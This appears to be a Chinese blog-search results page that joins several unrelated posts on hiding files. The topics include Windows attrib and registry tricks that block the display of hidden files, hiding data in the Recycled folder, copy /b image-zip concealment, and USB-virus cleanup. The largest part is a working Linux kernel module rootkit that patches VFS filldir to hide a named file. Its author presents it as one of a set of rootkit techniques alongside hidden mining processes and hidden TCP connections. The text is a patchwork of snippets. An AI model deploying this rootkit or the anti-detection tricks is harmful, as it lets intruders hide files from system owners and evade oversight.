精华内容
下载资源
问答
  • exe文件彻底隐藏起来,包括XP任务管理器,XP资源管理器,且不动用XP的注册表。
  • 文件隐藏

    千次阅读 2006-09-10 16:28:00
    1、一般隐藏属性以及打开方法 对于文件隐藏,在Windows中可以这样进行:在“资源管理器”中选中文件(夹),从右键菜单中单击“属性”,接着在属性对话框中的“常规”选项卡下勾选“隐藏”选项(图1),最后确定...
    1、一般隐藏属性以及打开方法

      对于文件的隐藏,在Windows中可以这样进行:在“资源管理器”中选中文件(夹),从右键菜单中单击“属性”,接着在属性对话框中的“常规”选项卡下勾选“隐藏”选项(图1),最后确定。


    图1

      为了使通过上述方法隐藏的文件和文件夹在查看目录时不显示出来,还需要进行以下设置:以Windows XP为例,在资源管理器中单击“工具”菜单,选择其中的“文件夹选项”,在“文件夹属性”对话框中单击“查看”选项卡,拖动“高级设置”项目下的垂直滚动条找到“隐藏文件和文件夹”,然后点选“不显示隐藏的文件和文件夹”;如果希望所有文件夹中的隐藏项目都不显示出来,则单击“应用到所有文件夹”,最后确定(图2)。返回资源管理器后刷新,所有设置了隐藏属性的文件(夹)都不会显示。

      提示:如果以后需要显示设置了隐藏属性的文件(夹),则再次进入该窗口点选“显示所有文件和文件夹”。


    图2

      有时候,我们不会进入Windows的图形界面,此时又如何来设置或解除文件的隐藏属性呢?这里需要用到一个DOS命令attrib来完成。attrib命令的使用格式如下:“attrib [+r | -r] [+a | -a] [+s | -s] [+h | -h] [[drive:][path][filename][/s[/D]]”,各个参数前面的“+”表示对文件添加上相应的属性,“-”则去除。各属性参数的意义分别为:r(只读文件属性),a(存档文件属性),s(系统文件属性),h(隐藏文件属性)。“[drive:][path][filename]”则是要处理的文件路径和名称(可以使用通配符来代表具有某种共同特征的文件)。参数“/S”则表示处理当前文件夹及其子文件夹中的相应文件。“/D”表示处理文件夹。

      举个例子可以很容易知道该命令的使用方法:例如,有的朋友经常使用Ghost来对整个系统分区进行备份,为了节省存储空间,在备份之前可以将Windows 9X的交换文件win386.swp删除(如果该文件在系统分区上),由于该文件具有“系统”、“隐含”、“只读”等属性,文件如要使用Del命令来删除,必须先去掉这些属性,在DOS提示符后输入“attrib -r -s -h -a c:/win386.swp”(注意各个参数前的空格)并回车;再如,D盘中有一个文件夹GJ需要设置为隐含属性,则输入“attrib +h d:/GJ /d /s”。

       2、让文件夹选项无法更改设置

      用以上方法隐藏的文件,只要用前面所说的显示所有文件的方法就可以轻易破解。使用下面这个方法后,普通人将很难再用上述方法破解隐藏的文件。运行注册表编辑器,找到“HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/Advanced/Folder/Hidden”。在该分支里有3个主键,它们分别是“NOHIDDEN”、“NOHIDORSYS”、“SHOWALL”。在“SHOWALL”的右窗格中找到二进制键值“Checked Value”,把它的键值设为“0”,这样,在文件夹选项的“查看”选项下,即使你选择“显示所有文件”,确定之后,系统也不会显示出隐藏文件,而且进入文件夹选项的“查看”下,你会发现系统又自动选中了不显示隐藏文件这一项!这下,隐藏文件岂不是更安全了?

      在注册表的上述各个分支下,都有一个“Text”的字符串键(注意:Windows98和Windows XP中此键值的内容不同),将该键值的内容清除掉(双击该键,出现“编辑字符串”对话框后按Delete键把数值数据文本框下的内容删除,删除之前请先导出各个分支,以便恢复时用),退出注册表编辑器,再进入“文件夹选项”的“查看”页面下,你会发现“隐藏文件和文件夹”下面空空如也(图3)。这样一来,任何人想要查看你的隐藏文件都没门了,因为这个地方根本没法选择!

      当然,破解的方法就是将上述所有键值修改成原来的样子。


    图3

       3、巧妙使用回收站来隐藏文件

      将文件藏在回收站中?看起来多么不可思议,按照下面的步骤,你可以将自己认为很机密的文件用该方法隐藏。

      首先,按照前述方法在“文件夹选项”中设置让系统“显示所有文件”;然后进入系统根目录,找到名为“Recycled”的文件夹(这个文件夹便对应于桌面上的“回收站”图标);右击该文件夹,在弹出的快捷菜单中选中“启用缩略图查看方式”,再点击“应用”,系统会自动将“只读”属性选中,用手工方法将“只读”属性前的钩去掉,然后单击“确定”。此时该文件夹的图标变成了一个普通文件夹的形状,双击打开“Recycled”文件夹,将需要隐藏的个人资料拖进该文件夹窗口中,然后再次右击该文件夹,在属性窗口中勾选“只读”然后确定,此时文件夹图标又变成了回收站的形状。双击打开回收站,你根本不会见到任何文件——除非你执行过文件的删除操作,即使我们将其它文件删除到回收站中,再执行过“清空回收站”的操作,原来在它的图标为普通文件夹的图标状态时存入的文件同样不会被删除!不相信?重新设置其属性,将“只读”选项清除掉让它的图标变成普通文件夹图标,确定,你再看看,原来的文件是否安然无恙?

      巧妙切换Recycled文件夹的属性,我们便可以用它来隐藏自己的秘密文件。

      提示:当Recycled文件夹图标变为普通文件夹图标时,只要再对其它文件执行过删除操作,图标将恢复成回收站的样子。

      实际上,我们还可以用“偷梁换柱”的手法:在它的属性窗口中去除掉“只读”属性让它变为普通文件夹图标,然后进入Recycled文件夹,找到名为“desktop.ini”的文件,将该文件复制到需要隐藏的文件夹下,例如前面例子中的D:/GJ;右击“d:/GJ”文件夹,选择“属性”,在弹出的对话框中勾选“只读”,在“启用缩略图查看方式”复选项前打上钩,确定。现在你会发现,“GJ”文件夹已变成“回收站”的图标了,但当你打开该文件夹后所看到的是原来“回收站”的内容,而不会看到“GJ”的内容。

      提示:如果要想让隐含的文件“重见天日”,只需要将文件夹的“只读”属性去掉,进入文件夹便可见到这些文件;以上方法在Windows 98中通过。

       4、隐藏所有打开过的文档记录

      在公用计算机上,凡是你查看过的每一个文档,都会在“开始”菜单的“文档”项后留下痕迹,因此你得将它们隐藏起来:单击“开始-设置-任务栏和开始菜单”,在弹出的“任务栏属性”对话框中单击“开始菜单程序”选项卡,点击“清除”按钮即可。如果嫌麻烦,则可以使用Windows优化大师来设置一下,让系统在每次退出或者注销时,自动清除文档的历史记录。

      如果用Office保存过文档,在下列文件夹下会保存操作过的文件的快捷方式:对于Office 2000在“C:/Windows/Profiles/user/Application Data/Microsoft/Office/Recent”下面,对于Office XP则在“C:/Windows/Application Data/Microsoft/Office/Recent”下面,需要将它们删除。

      其实对于多数软件打开过的文档,都可能在注册表中残留相关信息,这些信息也常常在软件的“文件”菜单下出现,可以使用Windows优化大师之类的工具来清除注册表中的垃圾信息,重新启动以后,所有的这类信息都会隐藏(准确地说是删除)。 
    展开全文
  • 光盘隐藏文件查看

    热门讨论 2012-08-10 15:33:15
    本工具可把加密隐藏起来文件找出来,并可以提取光盘隐藏起来文件.
  • 将文件或视频隐藏在图片里

    千次阅读 2017-07-26 15:36:54
    这个方法的诞生估计比我的年龄都大.....因为经常要用到,所以每次都百度...1>准备好要隐藏文件 / 视频,以及用作掩人耳目的图片.这里我假设要隐藏一个假装不知道内容是什么的视频作为演示,把它们放在一个文件夹下: 2>

    这个方法的诞生估计比我的年龄都大.....因为经常要用到,所以每次都百度有点麻烦,就索性写一篇博客记录一下....

    我都不知道转载的地址该怎么写....It is an ancient legend.......


    分成5个步骤:

    1>准备好要隐藏的文件 / 视频,以及用作掩人耳目的图片.这里我假设要隐藏一个假装不知道内容是什么的视频作为演示,把它们放在一个文件夹下:


    2> 把视频用压缩包包起来:


    3>新建一个文本文件,内容的格式为

    copy/b 图片名称.图片后缀名+视频名称.视频后缀名生成文件名.生成文件后缀名

    以我当前的文件为例,要使用备胎.jpg掩人耳目,生成正房.jpg的图片,但是正房.jpg图片还包含了视频.zip压缩包的内容:

    4>保存了文本文档的内容后,把后缀名由原来的txt改为bat(让copy/b 变为dos指令)

    5>运行.bat的文件,然后会生成 正房.jpg 的文件



    大功告成了,不知道情况的人会点击正房.jpg,此时会打开图片,但是如果你想要看视频,只需要把.jpg后缀改为.zip,就可以得到当时的压缩包,打开压缩包,无需解压,直接让视频播放就好.


    展开全文
  • U盘病毒最主要的危害就是U盘中的文件或者文件夹隐藏起来,即使使用杀毒软件清除U盘中的病毒,但是被隐藏起来文件仍然显示不出来。 被病毒隐藏起来文件,我们使用“工具”→“文件夹选项”→“查看”选项卡→...

     对于U盘病毒相信大家都会有中毒的经历吧,虽然其造成的危害不像硬盘中病毒那么大,但很影响日常的使用。对于经常要去打印室打印材料的朋友们来说,中毒是很平常的事情。U盘病毒最主要的危害就是将U盘中的文件或者文件夹隐藏起来,即使使用杀毒软件清除U盘中的病毒,但是被隐藏起来的文件仍然显示不出来。

         被病毒隐藏起来的文件,我们使用“工具”→“文件夹选项”→“查看”选项卡→“显示所有文件和文件夹”是不能将隐藏的文件显示出来的。这是因为病毒程序不仅将隐藏的文件赋予了隐藏属性,还附加了系统文件属性,仅仅开启显示隐藏文件是无法显示隐藏的系统文件。

          由于Windows界面下对文件及文件夹属性的修改存在有不足,这个时候就需要在命令提示符下使用“attrib”命令来修改文件及文件夹的属性。attrib是一个在命令提示符下更改文件属性的命令,“attrib”命反映的是对象的属性(attribute),文件及文件夹的属性有四种状态“read-only”(只读)、“archive”(存档)、“system”(系统)和“hidden”(隐藏)。attrib的使用命令如下:



          在实际的操作中,一般需要处理的的对象比较多的话,可以使用通配符“*”。例如“*.*”就是表示选择所有的文件,这个可以自己灵活掌握。下面是小五实际使用中将被病毒隐藏起来的文件全部显示出来的例子:

    首先单击开始菜单中的“运行”→输入“cmd”回车→进入“命令提示符” 。(下面的命令依次输入)
    C:/Documents and Settings/Administrator>H:         /*进入H盘目录,即你的U盘的盘符*/
    H:/>dir /a                                                                /*查看H盘中的全部文件,包括有隐藏属性的*/
    H:/>attrib *.* -s -h /s /d                                        /*去掉U盘中所有文件的四种属性*/

         这时打开U盘就会发现被病毒隐藏的文件也都出现了。对于不想动手的朋友们,可以下载下面的文件放入U盘,双击即可显示被病毒隐藏的文件了。


    小五制作的显示隐藏文件的批处理文件下载地址:显示隐藏文件


    注:小五介绍的方法并不适合电脑新手,对于电脑新手或者说不愿意动手的朋友们可以下载USBCleaner 更方便的清除U盘中的病毒。



    本文系小五原创,首发于 小五资讯 http://www.xiaobeta.cn 作者:小五 转载请注明版权及出处!!

     

     

     

     

    另加上:attrib命令

    ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]

    + 设置属性。

    - 清除属性。

    R 只读文件属性。

    A 存档文件属性。

    S 系统文件属性。

    H 隐藏文件属性。

    [drive:][path][filename]

    指定要处理的文件属性。

    /S 处理当前文件夹及其子文件夹中的匹配文件。

    /D 也处理文件夹。

    一个实例:

    有的U盘病毒会将病毒文件设为系统文件,无法删除。有的会将文件设为系统隐藏文件,既不可见,图形界面下也不可修改隐藏属性。都可以利用此命令来处理。

    打开MS-DOS,进入U盘的目录,输入命令:attrib -h -s /s /d

    这样,所有的文件都被显示了出来,可以被任意地进行删除等操作了。

    展开全文
  • Linux系统如何隐藏一个文件

    千次阅读 2020-04-09 23:28:28
    隐藏进程,隐藏CPU利用率,隐藏TCP连接后,现在要隐藏文件了! 关于进程隐藏,CPU利用率隐藏,TCP连接隐藏的手艺,请看: https://blog.csdn.net/dog250/article/details/105371830 ... 一般情况下,运维系统依靠CPU...

    自隐藏进程,隐藏CPU利用率,隐藏TCP连接后,现在要隐藏文件了!

    关于进程隐藏,CPU利用率隐藏,TCP连接隐藏的手艺,请看:
    https://blog.csdn.net/dog250/article/details/105371830
    https://blog.csdn.net/dog250/article/details/105394840

    一般情况下,运维系统依靠CPU利用率来生成告警,CPU利用率被隐藏了,还怎么办?试想,你的挖矿进程已经把CPU跑满,且这些进程被隐藏了,且CPU利用率也被隐藏了,一切看起来很祥和,但是系统就是卡得要死…甚至风扇也被hack了…

    这个时候,你需要一条TCP连接从外部控制你的进程,呃…这条TCP连接也隐藏了…此时,你需要把数据暂存在这台机器的磁盘上,如何不被发现?

    呃…这就需要隐藏文件了。

    经理呢?经理呢?来吧!

    文件隐藏和进程隐藏,CPU利用率隐藏这些完全不同,因为文件本身并不属于操作系统的一部分,它是属于文件系统的,操作系统通过文件系统驱动以及必要情况下的磁盘驱动和文件打交道。

    文件并不像进程那样,处在操作系统内存的数据结构中并被操作系统内核管理,文件是被特定文件系统管理的,每一种文件系统都有不同的文件布局格式,换句话说, 文件接受文件系统的庇护。

    我们知道, 领主的领主,不是我的领主;附庸的附庸,不是我的附庸。 所以,我们只需要hook文件系统即可。如果非要在底层文件系统甚至磁盘上做文章,未免太复杂,也没必要。

    在Linux内核中, VFS是盖在所有文件系统上的一个界面! 显然,我就拿它开刀了!

    原理很简单,只要hook掉filldir这个函数即可咯。

    // hide_file.c
    #include <linux/module.h>
    #include <linux/kallsyms.h>
    #include <linux/cpu.h>
    
    char *stub;
    
    struct linux_dirent {
        unsigned long   d_ino;
        unsigned long   d_off;
        unsigned short  d_reclen;
        char        d_name[1];
    };
    
    struct getdents_callback {
        struct linux_dirent __user * current_dir;
        struct linux_dirent __user * previous;
        int count;
        int error;
    };
    
    // 该函数不要inline,这是为了避免寄存器的胡乱使用,从而flush掉原始的filldir函数的寄存器。
    noinline int stub_filldir(void * __buf, const char * name, int namelen, loff_t offset,
    			u64 ino, unsigned int d_type)
    {
    	// 使用char数组的话,需要strncmp函数调用,这就需要校准偏移了,麻烦
    	//char shoe[8] = {'s', 'k', 'i', 'n', 's', 'h', 'o', 'e'};
    	//if (!strncmp(name, shoe, namelen))  {
    
    	// 直接使用"skinshoe"的话,常量字符串会随着模块的退出而释放,放弃
    	//if (!strncmp(name, "skinshoe", namelen))  {
    
    	// 直接逐字符比较,作为demo,够了!
    	// 最好的方法还是将“皮鞋”藏在某些不为人知的缝隙里
    	if (name[0] == 's' && name[1] == 'k' && name[2] == 'i' &&
    		name[3] == 'n' && name[4] == 's' && name[5] == 'h' &&
    		name[6] == 'o' && name[7] == 'e') {
    		struct linux_dirent __user * dirent = NULL;
    		struct getdents_callback * buf = (struct getdents_callback *) __buf;
    		int reclen = ALIGN(offsetof(struct linux_dirent, d_name) + namelen + 2, sizeof(long));
    		// skip掉skinshoe这个文件。
    		dirent = (void __user *)dirent + reclen;
    		buf->current_dir = dirent;
    		return 0;
    	}
    	return 1;
    }
    
    int call_stub(void * __buf, const char * name, int namelen, loff_t offset,
    						u64 ino, unsigned int d_type)
    {
    	int ret;
    	asm ("push %rdi; push %rsi; push %rdx; push %rcx; push %r8; push %r9;");
    	ret = stub_filldir(__buf, name, namelen, offset, ino, d_type);
    	if (!ret)
    		asm ("pop %r9; pop %r8; pop %rcx; pop %rdx; pop %rsi; pop %rdi; pop %rbp; pop %r11; xor %eax,%eax; retq");
    	asm ("pop %r9; pop %r8; pop %rcx; pop %rdx; pop %rsi; pop %rdi;");
    	return ret;
    }
    
    static int hide = 1;
    module_param(hide, int, 0444);
    
    #define FTRACE_SIZE   	5
    #define POKE_OFFSET		0
    #define POKE_LENGTH		5
    
    #define START _AC(0xffffffffa0000000, UL)
    #define END   _AC(0xffffffffff000000, UL)
    
    void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
                unsigned long start, unsigned long end, gfp_t gfp_mask,
                pgprot_t prot, int node, const void *caller);
    static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
    static struct mutex *_text_mutex;
    
    char *_filldir;
    char restore[5] = {0x0f, 0x1f, 0x44, 0x00, 0x00};
    
    static int __init filter_file_init(void)
    {
    	unsigned char jmp_call[POKE_LENGTH];
    	s32 offset;
    	unsigned long delta = 0x62;
    	unsigned int *pos  ;
    
    	_filldir = (void *)kallsyms_lookup_name("filldir");
    	if (!_filldir) {
    		return -1;
    	}
    
    	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
    	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
    	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
    	if (!_text_poke_smp || !_text_mutex) {
    		return -1;
    	}
    
    	if (hide == 0) {
    		// 通过ftrace stub获取动态内存的偏移
    		offset = *(unsigned int *)&_filldir[1];
    		stub = (char *)(offset + (unsigned long)_filldir + FTRACE_SIZE);
    		offset = call_stub - stub_filldir;
    		stub = stub - offset;
    
    		get_online_cpus();
    		mutex_lock(_text_mutex);
    		_text_poke_smp(&_filldir[POKE_OFFSET], &restore[0], POKE_LENGTH);
    		mutex_unlock(_text_mutex);
    		put_online_cpus();
    
    		// 释放内存
    		vfree(stub);
    		return -1;
    	}
    
    	stub = (void *)___vmalloc_node_range(0xfff, 1, START, END,
    					GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
    					-1, __builtin_return_address(0));
    	if (!stub) {
    		printk("nomem\n");
    		return -1;
    	}
    	
    	// 模块退出后函数被释放,所以需要拷贝到独立内存里。
    	memcpy(stub, stub_filldir, 0xfff);
    	pos = (unsigned int *)&stub[delta];
    	offset = call_stub - stub_filldir;
    	offset = (s32)((long)stub - (long)_filldir - FTRACE_SIZE + offset);
    
    	jmp_call[0] = 0xe8;
    	(*(s32 *)(&jmp_call[1])) = offset;
    	get_online_cpus();
    	mutex_lock(_text_mutex);
    	_text_poke_smp(&_filldir[POKE_OFFSET], jmp_call, POKE_LENGTH);
    	mutex_unlock(_text_mutex);
    	put_online_cpus();
    
    	// 事了拂衣去,深藏身与名!
    	return -1;
    }
    // 不需要exit函数!
    module_init(filter_file_init);
    MODULE_LICENSE("GPL");
    

    编译成hide_file.ko,来吧,一起看看效果:隐藏名字为skinshoe的文件:

    [root@localhost hidefile]# ls	# 未加载模块,可以看到skinshoe
    a  afile  b  c  hide_file.ko  skinshoe  test  wu
    [root@localhost hidefile]# cat skinshoe	# 可以读出skinshoe的内容
    1111
    [root@localhost hidefile]# insmod ./hide_file.ko	# 加载模块,隐藏skinshoe
    insmod: ERROR: could not insert module ./hide_file.ko: Operation not permitted
    [root@localhost hidefile]# ls	# 确认文件被隐藏,确实看不到了
    a  afile  b  c  hide_file.ko  test  wu
    [root@localhost hidefile]# cat skinshoe	# 然而依然可以被打开并读取内容
    1111
    [root@localhost hidefile]# echo 2222 >>./skinshoe	# 追加点内容试试
    [root@localhost hidefile]# ls	# 依然看不到skinshoe
    a  afile  b  c  hide_file.ko  test  wu
    [root@localhost hidefile]# insmod ./hide_file.ko hide=0	# 恢复skinshoe的显示
    insmod: ERROR: could not insert module ./hide_file.ko: Operation not permitted
    [root@localhost hidefile]# ls	# 确认一下,确实看到了
    a  afile  b  c  hide_file.ko  skinshoe  test  wu
    [root@localhost hidefile]# cat skinshoe	# 确认内容,隐藏期间的追加成功了!
    1111
    2222
    [root@localhost hidefile]#
    

    有趣吗?

    你可能会说,这也没隐藏啊,不是还是可以读写吗?

    难道这件事不就是为了 只有我能读写而别人不能 吗?诚然,skinshoe这个文件名很简单,但是有几个人能猜出来呢?如果我隐藏一个名字为 “796dehwif8fq99urhdkda” 的文件,谁又能知道呢?我自己知道就行。

    我当然没有把事情做全,我知道,完全可以继续hook掉VFS的open操作,比如只有特定名字的进程才能打开这个文件,而这个进程已经被我隐藏了… 事情就更有趣了。

    这一切的前提,依然是你有root权限,所以这些都是rootkit!至于说如何获取root权限,这便是另一个话题了。

    据我所知,社会工程学攻击更适合于获取root权限,而不是通过挖洞技术。你甚至只需要10分钟的root权限,在无眼线的情况下就能把上述以及前文介绍的这些rootkit手艺部署完成。

    关于社会工程学,这又是一个很大的话题,正如我一向很认可的那种方式,获取密码的最好方式就是 直接问 ,哀求,威胁,伪善如果好用,就不去折腾那些纸上谈兵的所谓破解技术。当然了,程序员并不认可我说的这些,程序员还是除了技术皆为粪土的,这次,我好像和经理站成了一队。

    最后,谈谈实用性。

    我这些rootkit实用吗?也许吧。但我这些皆在展示手艺,如果你想实用,网上一搜一箩筐的preload library可用,现实中机器被入侵被注入的大多数也都是这些,如果往内核里走,hook operations也是一搜一箩筐的。但无论哪个,均需要繁重的编程工作,极大的代码量作为保证。

    我之所以不选择这些,因为我不会编程,但是也不是一点都不会,还稍微会一些,所以我只能用一些奇技淫巧,见招拆招地做一些小动作,小把戏。我老婆问我天天折腾的这些有什么意义,我说, “我这是不用编程而修改操作系统了”

    当然,碰到CFI【控制流完整性,Control-flow integrity】,还是有一些工作需要去做,下面是一篇lwn:
    https://lwn.net/Articles/810077/

    唉,冯诺伊曼结构就是这样,存储执行模型天生的弊端,需要后面各种机制来不断patch,如果是哈佛结构,是不是要好很多?也许吧。经理!你说呢?你知道我在说什么吗?


    浙江温州皮鞋湿,下雨进水不会胖。

    展开全文
  • 用 COPY 命令合并文件隐藏秘密

    千次阅读 2013-11-06 22:30:34
    我们都知道DOS命令Copy的主要作用是复制文件,可是你是否知道,它还有一个作用是合并文件呢?... 笔者发现,巧妙地一个文本文件合并到一个非文本文件中,可以实现隐藏秘密的作用。一起来看看吧。  比
  • 虽然 Mac 系统更新到 Mojave 之后,新增的叠放功能让桌面清爽许多,但有时候,我们想要的是一干二净的桌面,比如截图时想要干净的桌面当背景,又或者是想把桌面文件隐藏起来,不想让别人看到,想知道Mac电脑如何一键...
  • 在图片中隐藏文件

    千次阅读 多人点赞 2017-04-08 20:17:02
    如何把重要文件隐藏起来有好多方法,接下来介绍一种把文件隐藏到图片文件的方法。 挺有意思的,如果不查看图片的具体大小,一般很难想到图片中会藏有别的文件。 1.把准备文件放到同一个目录 如图,我准备了一个...
  • 每个人总会有那么一些文件或文件夹想要保护起来不被别人随意访问或者删除,大多数人都是文件或文件夹摆放在一些极不常用的路径,或者简单地用 Windows 的文件隐藏属性隐藏起来,但这些方法都不怎么好使。...
  • idea中隐藏或显示文件

    千次阅读 2018-12-28 15:57:25
    在Intellij IDEA中有的文件是idea自己的配置文件,例如:...如果在多人开发的项目中,把这文件不小心提交上去了,被别人更新下来了,会导致别人的项目跑不起来。 接下来我们在File-&amp;gt;settings-&amp;g...
  • Eclipse项目中显示隐藏文件

    千次阅读 2019-03-10 15:34:44
    比如说我在尝试Travis CI build时,在Eclipse中编写.travis.yml文件,可是项目目录中却看不到这个文件,这是因为文件名为.xx的文件隐藏了。 解决方案 在项目目录栏中找到这个小三角——View Menu 然后找到Filter一...
  • ThinkPHP关于隐藏入口文件

    千次阅读 2018-09-05 14:52:52
    ThinkPHP关于隐藏入口文件 经过:今天要做一个项目的测试,URL中要类似: ... 然而现在的URL中是这样的: ...为了URL美观我们可以吧URL中的index.php隐藏起来。 下面说一下我今天遇到的一些隐藏失败...
  • 通常macOS会重要文件隐藏起来,以防止它们被意外删除并因此而损坏系统。但是,在某些情况下,您可能需要在Mac上显示隐藏文件,例如,浏览Library文件夹并清除旧日志,缓存或其他垃圾文件。下面小编教你四种百试不...
  • linux学习-文件隐藏属性

    千次阅读 2018-06-03 20:37:02
    Linux系统中的文件除了具备一般权限和特殊权限之外,还有一种隐藏权限,即被隐藏起来的权限,默认情况下不能直接被用户发觉。明明权限充足但却无法删除某个文件的情况,或者仅能在日志文件中追加内容而不能修改或...
  • 如何把任意文件隐藏在一张图片里?

    千次阅读 2013-11-15 16:05:08
    准备:1.一张图片 2.一个做试验的mp3文件 3.WinRAR ...2:把要隐藏文件 test.mp3 用 WinRAR 压缩。生成 test.rar 压缩包 3:打开命令行提示符:点击“开始→运行”,输入“cmd”。 4:我们假设中两个文件都存放在
  • 打开系统的隐藏文件

    千次阅读 2012-12-23 16:20:11
    系统为了自身重要的文件安全,防止病毒的破坏,防止误删,都会一些维持程序运行的必要文件隐藏起来,但是今天,我解决软件问题的时候,需要查看系统的文件,以下是打开隐藏文件的方法。 操作方法: 1.打开资源...
  • 做项目的时候,大家经常都会遇到上传文件这种操作,上传文件的过程这里就不赘述了,相信大家都了熟于心,当然这也不是此篇文章讨论的重点。...下面我们就探讨一下Java中对文件只读、隐藏的操作。 1.
  • thinkphp5怎么隐藏index.php入口文件

    千次阅读 2019-01-25 16:59:42
    thinkphp现在的php主流框架之一,本篇文章介绍的是thinkphp5.0怎么隐藏index.php入口文件,其实就是去掉URL地址栏里的index.php,使我们的url看起来更加美观。 看thinkphp5.0开发手册隐藏index.php入口文件 其实...
  • CentOS5.5 查看隐藏文件

    千次阅读 2013-03-14 10:53:40
    CentOS5.5 查看隐藏文件的命令: # ls -a 即可查看文件首字符为.(英文句号)的隐藏文件
  • 显示隐藏的系统文件

    千次阅读 2008-09-03 20:21:00
    Windows一般会把关键的系统文件隐藏起来,图1是没有显示系统隐藏文件之前:(图1)在资源管理器主菜单中选择工具->文件夹选项,如图2:(图2)在文件夹选项对话框中选择查看选项卡,勾去“隐藏受保护的操作系统文件...
  • 如何在Linux中轻松隐藏文件和文件夹

    千次阅读 2019-07-23 17:05:34
    在本指南中,我们介绍在Linux中可以有效隐藏文件和文件夹的简单方法。 除了隐藏的东西外,我们还讨论如何在终端以及文件管理器中显示这些隐藏的项目。 隐藏文件/目录 在Linux文件系统中隐藏文件是unix操作...
  • idea打开文件显示多行,不隐藏

    千次阅读 2020-03-16 17:54:46
    idea默认打开文件都是显示在一行,满了之后就会隐藏起来,有时候不方便,可以设置进行多行打开,然后设置打开文件的最大数,超过最大数之后最早打开的文件就会自动被关闭。 ...
  • linux中查看目录下隐藏文件方式?

    千次阅读 2018-03-06 15:56:24
    查看Linux主目录隐藏文件可以通过运行ls–a来实现,对于隐藏文件,不建议进行更改和删除操作,原因是,主目录中的隐藏文件和目录包括用户程序访问的设置和数据,其隐藏起来,很大一部分原因怕用户误操作,删除和修改...
  • Mac 终于有显示隐藏文件的快捷键了

    万次阅读 2017-08-01 14:31:20
    转载至:... 在 macOS Sierra 之前,要在 Finder 中查看隐藏文件,都要输入一大坨命令: defaults write com.apple.finder AppleShowAllFiles -bool true 用完之后
  • 终极文件/文件夹隐藏方案大全

    千次阅读 2017-08-24 08:38:21
    在要隐藏文件、文件夹上单击右键——属性,在“隐藏”选项上打勾,应用后刷新即可。可以使用命令提示符给文件/文件夹加上系统和只读属性使其隐蔽性增加一点点。方法为:开始——运行——输入CMD——输入attrib +s ...
  • iOS下的文件和文件夹的隐藏

    千次阅读 2012-05-14 18:33:14
    在实际的开发过程中,有些情况下,需要将文件或者文件夹隐藏起来,不让用户看到。 比如说在打开documents的共享的时候,又不希望用户通过itunes看到的情况下。 隐藏文件,其实是利用unix文件系统的特性,在文件...
  • Hider 2 for Mac 一个很好用的文件隐藏加密工具 前沿 有很多人电脑上都有很多私密文件,不方便给别人看到,那该怎么办呢,又不能删除。 这时就是Hider 2 的作用了,能把文件很好的隐藏起来,不让除自己以外的人...
  • idea可设置 隐藏工程文件路径地址

    千次阅读 2020-05-01 10:42:59
    隐藏i工程文件路径地址可以使整个工程看起来更加简洁 没有隐藏隐藏后 添加配置 # custom IntelliJ IDEA properties project.tree.structure.show.url=false ide.tree.horizontal.default.autoscrolling=...
  • 文件夹或文件隐藏和加密20201024

    千次阅读 2020-10-25 19:44:45
    但是今天学习到的是文件夹或者文件和图片的隐藏,整个过程基本都是在win系统上的简单操作,但是我不会,所以果果要做笔记. 文件定性法: 注册表法: attrib法: 透明文件夹图标法: copy 图片法: 压缩包加密+图片...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 256,918
精华内容 102,767
关键字:

怎样将文件隐藏起来